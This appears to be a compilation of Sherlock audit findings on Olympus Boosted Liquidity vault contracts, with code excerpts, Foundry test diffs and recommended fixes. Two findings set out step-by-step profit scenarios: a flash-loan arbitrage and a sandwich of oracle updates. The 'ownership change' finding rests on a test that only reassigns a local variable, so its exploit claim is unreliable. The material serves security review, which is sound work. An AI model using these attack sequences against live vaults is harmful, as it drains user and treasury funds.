
Vulnerability Detail

I assume the AuraMining library to be used is 0x744Be650cea753de1e69BF6BAd3c98490A855f52, which has the following comment:

/**
 * @notice Utility library to calculate how many Cvx will be minted based on the amount of Crv.
 * Do not use this on-chain, as AuraMinter after can mint additional tokens after `inflationProtectionTime`
 * has passed, those new tokens are not taken into consideration in this library.
 */

where the discrepancy might occur because of the private minterMinted variable:

// After AuraMinter.inflationProtectionTime has passed, this calculation might not be valid.
// uint256 emissionsMinted = supply - initMintAmount - minterMinted;
uint256 emissionsMinted = supply - initMintAmount;

However, it's being used in outstandingRewards():

// Get Aura rewards
uint256 auraRewards = manager().auraMiningLib().convertCrvToCvx(balRewards);
rewards[1] = RewardsData({rewardToken: address(aura()), outstandingRewards: auraRewards});

and in rewardRate():

} else if (rewardToken_ == aura) {
    // If reward token is Aura, calculate rewardRate from AuraMiningLib
    uint256 balRewardRate = auraPool.rewardRate();
    rewardRate = auraMiningLib.convertCrvToCvx(balRewardRate);

Furthermore, the implementation does not account for the reward multiplier set in the AURA booster. AuraRewardPool's getReward()'s implementation is as such:

if (reward > 0) {
  rewards[_account] = 0;
  rewardToken.safeTransfer(_account, reward);
  IDeposit(operator).rewardClaimed(pid, _account, reward); // @audit: operator = aura booster
  emit RewardPaid(_account, reward);
}

which calls the rewardClaimed on the operator (AuraBooster):

function rewardClaimed(uint256 _pid, address _address, uint256 _amount) external returns(bool){
  address rewardContract = poolInfo[_pid].crvRewards;
  require(msg.sender == rewardContract || msg.sender == lockRewards, "!auth");

  uint256 mintAmount = _amount.mul(getRewardMultipliers[msg.sender]).div(REWARD_MULTIPLIER_DENOMINATOR);

  if(mintAmount > 0) {
      //mint reward tokens
      ITokenMinter(minter).mint(_address, mintAmount);
  }
  
  return true;
}

Note that it is possible to change the reward multiplier of the AURA reward pool by the feeManager (capped at 2x the REWARD_MULTIPLIER_DENOMINATOR).

Impact

Inaccurate AURA reward rate and amounts returned if:

  • the reward multiplier is changed in the AURA booster
  • the AURA minter mints tokens

Code Snippet

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol#L312-L314
https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L385-L388

Tool used

Manual Review

Recommendation

For its intent and purposes, no change is necessary IMO, but adding a // @dev comment to note that the potentially inaccurate AURA amounts and rate returned would be beneficial.

martin - Signature Malleability

martin

medium

Signature Malleability

Summary

Replay attack vector

Vulnerability Detail

Replay attack vector

Impact

The function calls the Solidity ecrecover() function directly to verify the given signatures. However, the ecrecover() EVM opcode allows malleable (non-unique) signatures and thus is susceptible to replay attacks.
Although a replay attack seems not possible for this contract, I recommend using the battle-tested OpenZeppelin’s ECDSA library.

Code Snippet

253: address signer = ecrecover(hash, v, r, s);

866: address signer = ECDSA.recover(hash, v, r, s);

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/external/OlympusERC20.sol#L253
https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/external/OlympusERC20.sol#L866

Tool used

Manual Review

Recommendation

Use the ecrecover function from OpenZeppelin’s ECDSA library for signature verification. (Ensure using a version > 4.7.3 for there was a critical bug >= 4.1.0 < 4.7.3).

cducrest-brainbot - SetLimit does not take into account burned OHM

cducrest-brainbot

medium

SetLimit does not take into account burned OHM

Summary

The function setLimit() may not be able to sufficiently restrict mint ability of manager.

Vulnerability Detail

The setLimit() function reverts when newLimit_ < deployedOhm, mintOhmToVault will revert if deployedOhm + amount_ > ohmLimit + circulatingOhmBurned. If the value of circulatingOhmBurned is high, and the admin can only set the limit above deployedOhm, they could end up in a state where they cannot limit the amount the vault is allowed to burn sufficiently. I.e. the vault is always able to mint at least circulatingOhmBurned new tokens.

Note that circulatingOhmBurned is never lowered (even when minting new tokens), so this value could grow arbitrarily high.

Impact

Lack of control of admin on mint ability of manager.

Code Snippet

SetLimit function:
https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L480-L483

Tool used

Manual Review

Recommendation

Use similar restrictions as in mintOhmToVault() for setLimit or lower circulatingOhmBurned when minting new OHM.

martin - Single-step ownership transfer can be dangerous

martin

medium

Single-step ownership transfer can be dangerous

Summary

Likelihood:
Medium, because even a small mistake would lead to unchangeable kernel

Impact:
Medium, because it limits the functionality of the protocol

Vulnerability Detail

Because of human mistake, it’s possible to set a new invalid kernel. In such case, there won't be a way to change it since changeKernel could be called only if the msg.sender is equal to address(kernel) which won't be the case anymore.

Impact

It’s highly possible to make the kernel address unchangeable from the changeKernel function.

Code Snippet

96: function changeKernel(Kernel newKernel_) external onlyKernel {

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/Kernel.sol#L96

Tool used

Manual Review

Recommendation

When you want to change the kernel address it’s better to propose a new kernel, and then accept this ownership with the new wallet. Implement Two-Factor Authentication with pending and approve functions.

Inspex - Rewards are sent directly to `owner()` instead of the vault, allowing users to claim reward without paying reward fees

Inspex

medium

Rewards are sent directly to owner() instead of the vault, allowing users to claim reward without paying reward fees

Summary

The vault owner can claim the reward directly without paying token fees because of the auraRewardPool().getReward(owner(), true) function at line 265.

On this line, the getReward() function is called with owner() used as a parameter to claim the reward, which is the address of the vault's owner, not the address of the vault itself.

As a result, the reward will be sent directly to owner() without any reward fees being paid to the TRSRY() address.

Vulnerability Detail

The claimRewards() function is used to claim outstanding rewards from the Aura to the vault at line 265.

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol#L262-L269

    /// @inheritdoc IBLVaultLido
    function claimRewards() external override onlyWhileActive onlyOwner nonReentrant {
        // Claim rewards from Aura
        auraRewardPool().getReward(owner(), true);

        // Send rewards to owner
        _sendRewards();
    }

On line 268, the _sendRewards() function is used to send any rewards in the vault to the owner, while also paying a small fee to the TRSRY() address if applicable.

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol#L401-L447

    function _sendRewards() internal {
        // Send Bal rewards to owner
        {
            uint256 balRewards = bal().balanceOf(address(this));
            uint256 balFee = (balRewards * fee()) / 10_000;
            if (balRewards - balFee > 0) {
                bal().safeTransfer(owner(), balRewards - balFee);
                emit RewardsClaimed(address(bal()), balRewards - balFee);
            }
            if (balFee > 0) bal().safeTransfer(TRSRY(), balFee);
        }

        // Send Aura rewards to owner
        {
            uint256 auraRewards = aura().balanceOf(address(this));
            uint256 auraFee = (auraRewards * fee()) / 10_000;
            if (auraRewards - auraFee > 0) {
                aura().safeTransfer(owner(), auraRewards - auraFee);
                emit RewardsClaimed(address(aura()), auraRewards - auraFee);
            }
            if (auraFee > 0) aura().safeTransfer(TRSRY(), auraFee);
        }

        // Send extra rewards to owner
        {
            uint256 numExtraRewards = auraRewardPool().extraRewardsLength();
            for (uint256 i; i < numExtraRewards; ) {
                IAuraRewardPool extraRewardPool = IAuraRewardPool(auraRewardPool().extraRewards(i));
                ERC20 extraRewardToken = ERC20(extraRewardPool.rewardToken());

                uint256 extraRewardAmount = extraRewardToken.balanceOf(address(this));
                uint256 extraRewardFee = (extraRewardAmount * fee()) / 10_000;
                if (extraRewardAmount - extraRewardFee > 0) {
                    extraRewardToken.safeTransfer(owner(), extraRewardAmount - extraRewardFee);
                    emit RewardsClaimed(
                        address(extraRewardToken),
                        extraRewardAmount - extraRewardFee
                    );
                }
                if (extraRewardFee > 0) extraRewardToken.safeTransfer(TRSRY(), extraRewardFee);

                unchecked {
                    ++i;
                }
            }
        }
    }

Because the auraRewardPool().getReward(owner(), true) function on line 265 uses owner() as a parameter, any reward claimed will be sent directly to the owner() rather than the owner's vault. Therefore, if there are no rewards in the vault, the _sendRewards() function on line 268 will not transfer any fee to the TRSRY() address.

Impact

The platform will lose rewards fees because users can claim rewards without paying reward fees.

Code Snippet

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol#L265

Tool used

Manual Review

Recommendation

We suggest changing the parameter in the getReward() function on line 265 from owner() to address(this). For example:

    /// @inheritdoc IBLVaultLido
    function claimRewards() external override onlyWhileActive onlyOwner nonReentrant {
        // Claim rewards from Aura
        auraRewardPool().getReward(address(this), true);

        // Send rewards to owner
        _sendRewards();
    }

Duplicate of #21

RaymondFam - Increased `getTknOhmPrice()` not catered for

RaymondFam

high

Increased getTknOhmPrice() not catered for

Summary

The contract checks on the withdrawn ratios of OHM and wstETH against the current oracle price and takes any wstETH shifted imbalance as a fee to the treasury but it fails to cater for getTknOhmPrice() increase in pricing.

When getTknOhmPrice() increases, the system can be gamed while making a flash arbitrage gain.

Vulnerability Detail

Here is a typical scenario, assuming the pool has been initiated with total LP equal to sqrt(100_000 * 1_000) = 10_000. (Note: OHM: $15, wstETH: $1500 with the pool pricing match up with manager.getOhmTknPrice() or manager.getTknOhmPrice(), i.e. 100 OHM to 1 wstETH or 0.01 wstETH to 1 OHM. The pool token balances in each step below may be calculated via the Constant Product Simulation after each swap and stake.)

OHM token balance: 100_000
wstETH token balance: 1_000
Total LP: 10_000
  1. Bob calls deposit() by providing 10 wstETH where 1000 OHM is minted. Bob successfully stakes all of the 1000 OHM and 10 wstETH and proportionately receives 100 LP.

    OHM token balance: 101_000
    wstETH token balance: 1_010
    Total LP: 10_100
    Bob's LP: 100

  2. Alice also calls deposit() by providing 10 wstETH with 1000 OHM. She successfully stakes all of the 1000 OHM and 10 wstETH and proportionately receives 100 LP too.

    OHM token balance: 102_000
    wstETH token balance: 1_020
    Total LP: 10_200
    Bob's LP: 100
    Alice's LP: 100

  3. The pool has been well balanced at all time when suddenly there is a significant price drop in wstETH in the market (OHM: $15, wstETH: $1200). manager.getTknOhmPrice() is now 0.0125 (instead of the previous 0.01) wstETH per 1 OHM.

  4. Bob exits the pool by removing all of his LP where he receives back 1000 OHM (burned) and 10 full wstETH since expectedWstethAmountOut is 1000 * 0.0125 = 12.5 (> 10).

    OHM token balance: 101_000
    wstETH token balance: 1_010
    Total LP: 10_100
    Bob's LP: 0
    Alice's LP: 100

  5. However, Alice, an avid staker, uses a flash loan to swap 100 wstETH for 9099.1 OHM to first make a profit of 9099.1 * 15 - 100 * 1200 = $16486.50.

    OHM token balance: 91_900.9
    wstETH token balance: 1_110
    Total LP: 10_100
    Bob's LP: 0
    Alice's LP: 100

  6. Next, Alice's LP is fully withdrawn where 909.91 OHM is received and burned while 10.99 wstETH is fully transferred to the user because getTknOhmPrice() is now 0.0125 wstETH per OHM, i.e. wstethAmountOut < expectedWstethAmountOut making wstethToReturn == wstethAmountOut.

    OHM token balance: 90_990.99
    wstETH token balance: 1_099.01
    Total LP: 10_000
    Bob's LP: 0
    Alice's LP: 0

Impact

Although Bob did not make any losses and has earned some rewards, Alice in contrast to Bob's action, has received an extra 10.99 - 10 = 0.99 wstETH all because the system can now be gamed without any penalty to the treasury while reaping a sizable flash swap profit of $16486.50 in step 5 .

Code Snippet

File: BLVaultLido.sol#L143-L200

File: BLVaultLido.sol#L203-L256

Tool used

Manual Review

Recommendation

Consider restructuring the withdrawn ratios check if this is not intended to happen. For instance, an added check may be implemented checking whether or not the pool has been imbalanced. If it has been, the existing check should trigger an added slash commensurate with the amount of shift incurred. But this may not be the perfect fix since Alice could dodge it using two separate transactions instead of atomically.

ABA - `OHM` to `wstETH` price is incorrectly calculated

ABA

medium

OHM to wstETH price is incorrectly calculated

Summary

The price of OHM, relative to wstETH, which is used throughout the project, is calculated incorrectly because of wrong Chainlink stream pair used.

Vulnerability Detail

OHM to token price is calculated in the function getOhmTknPrice
https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L440

    function getOhmTknPrice() public view override returns (uint256) {

The function takes the following token price pairs:

  • stETH/wstETH -> stethPerWsteth
  • ETH/OHM -> ethPerOhm
  • stETH/ETH -> stethPerEth

and combines them with the intent to translated into OHM/wstETH.

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L453-L454

    // Calculate OHM per wstETH (9 decimals)
    return (stethPerWsteth * stethPerEth) / (ethPerOhm * 1e9);

Here is the issue, because the correct pairs are not used and results in a different price then intended. To better illustrate this will replace the above formula with the token denominations only:

$$ result = {stethPerWsteth * stethPerEth \over ethPerOhm} $$

  • take the ethPerOhm to the right for better visibility

$$ = stethPerWsteth * stethPerEth * \frac{1}{ethPerOhm} $$

  • replace each variable with it's denominations

$$ = \frac{stETH}{wstETH} * \frac{stETH}{ETH} * \frac{1}{\frac{ETH}{OHM}} $$

  • reverse the ETH/OHM fraction

$$ = \frac{stETH}{wstETH} * \frac{stETH}{ETH} * \frac{OHM}{ETH} $$

  • do some basic, allowed, positional changes and highlighting the fraction of interest in parentheses

$$ = (\frac{OHM}{wstETH}) * \frac{stETH}{ETH} * \frac{stETH}{ETH} $$

It can be seen in the final result that the desired value OHM/wstETH would only be achieved if in the original formula we had stethPerEth replaces with a ethPerSteth (ETH/stETH) equivalent:

return (stethPerWsteth * ethPerSteth) / (ethPerOhm * 1e9);

Impact

OHM/wstETH price is calculated incorrect. By not reflecting the correct price the protocol can suffer losses due to arbitrage/unexpected price fluctuations.

Instead of the stETH to ETH price stream, the correct stream would of been ETH to stETH. Since both are ETH equivalents they tend to not vary much, as such, the price fluctuations would not be sever but would still pose an issue.

Code Snippet

Tool used

Manual Review

Recommendation

The simples solution would be to use a ETH/stETH Chainlink price stream, unfortunately one does not exist
https://docs.chain.link/data-feeds/price-feeds/addresses/

Instead, use other, intermediate, price streams to arrive at the desired price.

0x52 - Adversary can sandwich oracle updates to exploit vault

0x52

high

Adversary can sandwich oracle updates to exploit vault

Summary

BLVaultLido added a mechanism to siphon off all wstETH obtained from mismatched pool and oracle prices. This was implemented to fix the problem that the vault could be manipulated to the attackers gain. This mitigation however does not fully address the issue and the same issue is still exploitable by sandwiching oracle update.

Vulnerability Detail

BLVaultLido.sol#L232-L240

    uint256 wstethOhmPrice = manager.getTknOhmPrice();
    uint256 expectedWstethAmountOut = (ohmAmountOut * wstethOhmPrice) / _OHM_DECIMALS;

    // Take any arbs relative to the oracle price for the Treasury and return the rest to the owner
    uint256 wstethToReturn = wstethAmountOut > expectedWstethAmountOut
        ? expectedWstethAmountOut
        : wstethAmountOut;
    if (wstethAmountOut > wstethToReturn)
        wsteth.safeTransfer(TRSRY(), wstethAmountOut - wstethToReturn);

In the above lines we can see that the current oracle price is used to calculate the expected amount of wstETH to return to the user. In theory this should prevent the attack but an attacker can side step this sandwiching the oracle update.

Example:

The POC is very similar to before except now it's composed of two transactions sandwiching the oracle update. Chainlink oracles have a tolerance threshold of 0.5% before updating so we will use that as our example value. The current price is assumed to be 0.995 wstETH/OHM. The oracle price (which is about to be updated) is currently 1:1

Transaction 1:

Balances before attack (0.995:1)
Liquidity: 79.8 OHM 80.2 wstETH
Adversary: 20 wstETH

Swap OHM so that pool price matches pre-update oracle price:
Liquidity: 80 OHM 80 wstETH
Adversary: -0.2 OHM 20.2 wstETH

Balances after adversary has deposited to the pool:
Liquidity: 100 OHM 100 wstETH
Adversary: -0.2 OHM 0.2 wstETH

Balances after adversary sells wstETH for OHM (0.5% movement in price):
Liquidity: 99.748 OHM 100.252 wstETH
Adversary: 0.052 OHM -0.052 wstETH

Sandwiched Oracle Update:

Oracle updates price of wstETH to 0.995 OHM. Since the attacker already sold wstETH to balance 
the pool to the post-update price they will be able to withdraw the full amount of wstETH.

Transaction 2:

Balances after adversary removes their liquidity:
Liquidity: 79.798 OHM 80.202 wstETH
Adversary: 0.052 OHM 19.998 wstETH

Balances after selling profited OHM:
Liquidity: 79.849 OHM 80.152 wstETH
Adversary: 20.05 wstETH

As shown above it's still profitable to exploit the vault by sandwiching the oracle updates. With each oracle update the pool can be repeatedly attacked causing large losses.

Impact

Vault will be attacked repeatedly for large losses

Code Snippet

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol#L203-L256

Tool used

Manual Review

Recommendation

To prevent this I would recommend locking the user into the vault for some minimum amount of time (i.e. 24 hours)

0x4non - `getOhmSupplyChangeData` will return incorrect values due shadowed variables

0x4non

high

getOhmSupplyChangeData will return incorrect values due shadowed variables

Summary

The getOhmSupplyChangeData function of a given contract, where the variables deployedOhm and circulatingOhmBurned are shadowed, causing the function to always return 0 for these variables.

Vulnerability Detail

The getOhmSupplyChangeData function returns three variables: poolOhmShare, deployedOhm, and circulatingOhmBurned. However, the deployedOhm and circulatingOhmBurned variables in the function signature are shadowing the contract-level variables with the same names. This results in the function always returning 0 for both deployedOhm and circulatingOhmBurned.

Impact

The getOhmSupplyChangeData function will not return accurate values for deployedOhm and circulatingOhmBurned. This may cause incorrect calculations or decision-making based on the returned data, which could negatively affect the contract's functionality or user experience.

Code Snippet

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L424-L437

POC

diff --git a/sherlock-olympus/src/test/policies/BoostedLiquidity/BLVaultManagerLidoMocks.t.sol b/sherlock-olympus/src/test/policies/BoostedLiquidity/BLVaultManagerLidoMocks.t.sol
index eb240b1..d51bbe2 100644
--- a/sherlock-olympus/src/test/policies/BoostedLiquidity/BLVaultManagerLidoMocks.t.sol
+++ b/sherlock-olympus/src/test/policies/BoostedLiquidity/BLVaultManagerLidoMocks.t.sol
@@ -459,6 +459,47 @@ contract BLVaultManagerLidoTest is Test {
         vm.stopPrank();
     }
 
+    function testCorrectness_ohmSupplyChangeDataFromVaultCorrectlyUpdatesState(uint256 amount_) public {
+        vm.assume(amount_ != 0 && amount_ <= 100_000_000e9);
+
+        // Setup
+        address validVault = _createVault();
+        vaultManager.setLimit(50_000_000e9);
+
+        // Mint base amount
+        vm.startPrank(address(vaultManager));
+        minter.increaseMintApproval(address(vaultManager), 50_000_000e9);
+        minter.mintOhm(validVault, 50_000_000e9);
+        vm.stopPrank();
+
+        vm.startPrank(validVault);
+        vaultManager.mintOhmToVault(50_000_000e9);
+        ohm.increaseAllowance(address(minter), 100_000_000e9);
+
+        // Check state before
+        assertEq(vaultManager.deployedOhm(), 50_000_000e9);
+        assertEq(vaultManager.circulatingOhmBurned(), 0);
+
+        vaultManager.burnOhmFromVault(amount_);
+
+        // Check state after
+        if (amount_ > 50_000_000e9) {
+            assertEq(vaultManager.deployedOhm(), 0);
+            assertEq(vaultManager.circulatingOhmBurned(), amount_ - 50_000_000e9);
+        } else {
+            assertEq(vaultManager.deployedOhm(), 50_000_000e9 - amount_);
+            assertEq(vaultManager.circulatingOhmBurned(), 0);
+        }
+
+        (uint256 _poolOhmShare, uint256 _deployedOhm, uint256 _circulatingOhmBurned) = vaultManager.getOhmSupplyChangeData();
+        assertEq(_poolOhmShare, vaultManager.getPoolOhmShare());
+        assertEq(_deployedOhm, vaultManager.deployedOhm());
+        assertEq(_circulatingOhmBurned, vaultManager.circulatingOhmBurned());
+
+        vm.stopPrank();
+    }
+
+
     function testCorrectness_burnOhmFromVaultBurnsFromCorrectAddress() public {
         address validVault = _createVault();

Tool used

Manual Review

Recommendation

diff --git a/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol b/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol
index 9013392..d104037 100644
--- a/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol
+++ b/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol
@@ -425,15 +425,16 @@ contract BLVaultManagerLido is Policy, IBLVaultManagerLido, RolesConsumer {
         external
         view
         override
-        returns (uint256 poolOhmShare, uint256 deployedOhm, uint256 circulatingOhmBurned)
+        returns (uint256 poolOhmShare_, uint256 deployedOhm_, uint256 circulatingOhmBurned_)
     {
         // Net emitted is the amount of OHM that was minted to the pool but is no longer in the
         // pool beyond what has been burned in the past. Net removed is the amount of OHM that is
         // in the pool but wasn’t minted there plus what has been burned in the past. Here we just return
         // the data components to calculate that.
 
-        uint256 currentPoolOhmShare = getPoolOhmShare();
-        return (currentPoolOhmShare, deployedOhm, circulatingOhmBurned);
+        poolOhmShare_ = getPoolOhmShare();
+        deployedOhm_ = deployedOhm;
+        circulatingOhmBurned_ = circulatingOhmBurned;        
     }
 
     /// @inheritdoc IBLVaultManagerLido

Duplicate of #26

0x52 - minTokenAmounts_ is useless in new configuration and doesn't provide any real slippage protection

0x52

high

minTokenAmounts_ is useless in new configuration and doesn't provide any real slippage protection

Summary

BLVaultLido#withdraw skims off extra stETH from the user that results from oracle arb. The problem with this is that minTokenAmounts_ no longer provides any slippage protection because it only ensures that enough is received from the liquidity pool but never enforces how much is received by the user.

Vulnerability Detail

BLVaultLido.sol#L224-L247

    _exitBalancerPool(lpAmount_, minTokenAmounts_);

    // Calculate OHM and wstETH amounts received
    uint256 ohmAmountOut = ohm.balanceOf(address(this)) - ohmBefore;
    uint256 wstethAmountOut = wsteth.balanceOf(address(this)) - wstethBefore;

    // Calculate oracle expected wstETH received amount
    // getTknOhmPrice returns the amount of wstETH per 1 OHM based on the oracle price
    uint256 wstethOhmPrice = manager.getTknOhmPrice();
    uint256 expectedWstethAmountOut = (ohmAmountOut * wstethOhmPrice) / _OHM_DECIMALS;

    // Take any arbs relative to the oracle price for the Treasury and return the rest to the owner
    uint256 wstethToReturn = wstethAmountOut > expectedWstethAmountOut
        ? expectedWstethAmountOut
        : wstethAmountOut;
    if (wstethAmountOut > wstethToReturn)
        wsteth.safeTransfer(TRSRY(), wstethAmountOut - wstethToReturn);

    // Burn OHM
    ohm.increaseAllowance(MINTR(), ohmAmountOut);
    manager.burnOhmFromVault(ohmAmountOut);

    // Return wstETH to owner
    wsteth.safeTransfer(msg.sender, wstethToReturn);

minTokenAmounts_ only applies to the removal of liquidity. Since wstETH is skimmed off to the treasury the user no longer has any way to protect themselves from slippage. As shown in my other submission, oracle slop can lead to loss of funds due to this skimming.

Impact

Users cannot protect themselves from oracle slop/wstETH skimming

Code Snippet

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol#L203-L256

Tool used

Manual Review

Recommendation

Allow the user to specify the amount of wstETH they receive AFTER the arb is skimmed.

fat32 - Unauthorised Change Of Ownership after deploy vault function in BLVaultManagerLido.sol

fat32

medium

Unauthorised Change Of Ownership after deploy vault function in BLVaultManagerLido.sol

Summary

Unauthorised Change Of Ownership after deploy vault function in BLVaultManagerLido.sol
The following test case should fail and revert, but does not when I use change owner exploit.
a. deploy vault fails if user already has vault
Please see the POC below which I used Foundry for.  
The impact is that I am able to regain ownership and VaultDeployed(vault: 0x84331fdf4F2974B3Cb6D8003584CE74f62599F38, owner: 0x7Acb0F51F1b2a820F3bfdfE164D0D67C9f2f7D24, fee: 0)

Vulnerability Detail

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L197-L232

Impact

Unauthorised Change Of Ownership after deploy vault function in BLVaultManagerLido.sol
The following test case should fail and revert, but does not when I use change owner exploit.
a. deploy vault fails if user already has vault
Please see the POC below which I used Foundry for.  
The impact is that I am able to regain ownership and VaultDeployed(vault: 0x84331fdf4F2974B3Cb6D8003584CE74f62599F38, owner: 0x7Acb0F51F1b2a820F3bfdfE164D0D67C9f2f7D24, fee: 0)

Code Snippet

POC File
src/2023-03-olympus-0xtr3/sherlock-olympus/src/test/policies/BoostedLiquidity/BLVaultManagerLidoMocks.t.sol
// POC
// 1. update test file named BLVaultManagerLidoMocks.t.sol for the function below by replacing function named
   // testCorrectness_deployVaultFailsIfUserAlreadyHasVault with the following.

// declarations
address internal alice;
    address internal bob;
    address internal duke;

// setup()
userCreator = new UserFactory();
            address[] memory users = userCreator.create(3);
            alice = users[0];
            bob = users[1];
            duke = users[2];

function testCorrectness_deployVaultFailsIfUserAlreadyHasVault() public {
        // Create first vault
        vm.prank(alice);
        vaultManager.deployVault();

        bytes memory err = abi.encodeWithSignature("BLManagerLido_VaultAlreadyExists()");
        vm.expectRevert(err);

        // Try to create second vault
        alice = bob; // fat32 change owner
        vm.prank(alice);
        vaultManager.deployVault();
    }
# 2. run command below
forge test -vvv --match-path src/test/policies/BoostedLiquidity/BLVaultManagerLidoMocks.t.sol
# Log
# 3. log file results of changed ownership
forge test -vvv --match-path src/test/policies/BoostedLiquidity/BLVaultManagerLidoMocks.t.sol
[⠰] Compiling...
No files changed, compilation skipped

Running 39 tests for src/test/policies/BoostedLiquidity/BLVaultManagerLidoMocks.t.sol:BLVaultManagerLidoTest
[PASS] testCorrectness_activateCanOnlyBeCalledByAdmin(address) (runs: 256, μ: 17510, ~: 17510)
[PASS] testCorrectness_activateCorrectlySetsIsLidoBLVaultActive() (gas: 53382)
[PASS] testCorrectness_burnOhmFromVaultBurnsFromCorrectAddress() (gas: 304800)
[PASS] testCorrectness_burnOhmFromVaultCanOnlyBeCalledByAnApprovedVault(address) (runs: 256, μ: 306957, ~: 306942)
[PASS] testCorrectness_burnOhmFromVaultCorrectlyUpdatesState(uint256) (runs: 256, μ: 394749, ~: 394747)
[PASS] testCorrectness_burnOhmFromVaultFailsWhenBLInactive() (gas: 38950)
[PASS] testCorrectness_changeUpdateThresholdsCanOnlyBeCalledByAdmin(address) (runs: 256, μ: 17792, ~: 17792)
[PASS] testCorrectness_changeUpdateThresholdsCorrectlySetsThresholds(uint48,uint48) (runs: 256, μ: 26206, ~: 26217)
[PASS] testCorrectness_deactivateCanOnlyBeCalledByAdmin(address) (runs: 256, μ: 17597, ~: 17597)
[PASS] testCorrectness_deactivateCorrectlySetsIsLidoBLVaultActive() (gas: 40575)
[PASS] testCorrectness_decreaseTotalLpCanOnlyBeCalledByAnApprovedVault(address) (runs: 256, μ: 221940, ~: 221940)
[PASS] testCorrectness_decreaseTotalLpCorrectlyDecreasesValue(uint256) (runs: 256, μ: 219312, ~: 219312)
[PASS] testCorrectness_decreaseTotalLpFailsWhenBLInactive() (gas: 38881)
[PASS] testCorrectness_deployVaultCanBeCalledByAnyone(address) (runs: 256, μ: 209697, ~: 209697)
[PASS] testCorrectness_deployVaultCorrectlyClonesVault() (gas: 245698)
[PASS] testCorrectness_deployVaultCorrectlyTracksVaultState(address) (runs: 256, μ: 212169, ~: 212169)
[FAIL. Reason: Call did not revert as expected] testCorrectness_deployVaultFailsIfUserAlreadyHasVault() (gas: 391201)
Traces:
  [391201] BLVaultManagerLidoTest::testCorrectness_deployVaultFailsIfUserAlreadyHasVault() 
    ├─ [0] VM::prank(0xfAd8712De4330B640064CFA05d0A29978DEa11C6) 
    │   └─ ← ()
    ├─ [201301] BLVaultManagerLido::deployVault() 
    │   ├─ [67482] → new <Unknown>@0x269C4753e15E47d7CaD8B230ed19cFff21f29D51
    │   │   └─ ← 337 bytes of code
    │   ├─ [25020] 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51::initializeClone() 
    │   │   ├─ [22293] BLVaultLido::initializeClone() [delegatecall]
    │   │   │   └─ ← ()
    │   │   └─ ← ()
    │   ├─ emit VaultDeployed(vault: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, owner: 0xfAd8712De4330B640064CFA05d0A29978DEa11C6, fee: 0)
    │   └─ ← 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51
    ├─ [0] VM::expectRevert(BLManagerLido_VaultAlreadyExists()) 
    │   └─ ← ()
    ├─ [0] VM::prank(0x7Acb0F51F1b2a820F3bfdfE164D0D67C9f2f7D24) 
    │   └─ ← ()
    ├─ [172801] BLVaultManagerLido::deployVault() 
    │   ├─ [67482] → new <Unknown>@0x84331fdf4F2974B3Cb6D8003584CE74f62599F38
    │   │   └─ ← 337 bytes of code
    │   ├─ [22520] 0x84331fdf4F2974B3Cb6D8003584CE74f62599F38::initializeClone() 
    │   │   ├─ [22293] BLVaultLido::initializeClone() [delegatecall]
    │   │   │   └─ ← ()
    │   │   └─ ← ()
    │   ├─ emit VaultDeployed(vault: 0x84331fdf4F2974B3Cb6D8003584CE74f62599F38, owner: 0x7Acb0F51F1b2a820F3bfdfE164D0D67C9f2f7D24, fee: 0)
    │   └─ ← 0x84331fdf4F2974B3Cb6D8003584CE74f62599F38
    └─ ← "Call did not revert as expected"

[PASS] testCorrectness_deployVaultFailsWhenBLInactive() (gas: 38896)
[PASS] testCorrectness_getLpBalance() (gas: 559829)
[PASS] testCorrectness_getMaxDeposit() (gas: 355082)
[PASS] testCorrectness_getOhmTknPrice() (gas: 35586)
[PASS] testCorrectness_getRewardRate() (gas: 17236)
[PASS] testCorrectness_getRewardTokens() (gas: 23926)
[PASS] testCorrectness_getTknOhmPrice() (gas: 35674)
[PASS] testCorrectness_getUserPairShare() (gas: 580147)
[PASS] testCorrectness_increaseTotalLpCanOnlyBeCalledByAnApprovedVault(address) (runs: 256, μ: 240133, ~: 240133)
[PASS] testCorrectness_increaseTotalLpCorrectlyIncreasesValue(uint256) (runs: 256, μ: 236468, ~: 237324)
[PASS] testCorrectness_increaseTotalLpFailsWhenInactive() (gas: 38950)
[PASS] testCorrectness_mintOhmToVaultCanOnlyBeCalledByApprovedVault(address) (runs: 256, μ: 324238, ~: 324238)
[PASS] testCorrectness_mintOhmToVaultCannotMintBeyondLimit(uint256) (runs: 256, μ: 279676, ~: 321051)
[PASS] testCorrectness_mintOhmToVaultFailsWhenBLInactive() (gas: 38906)
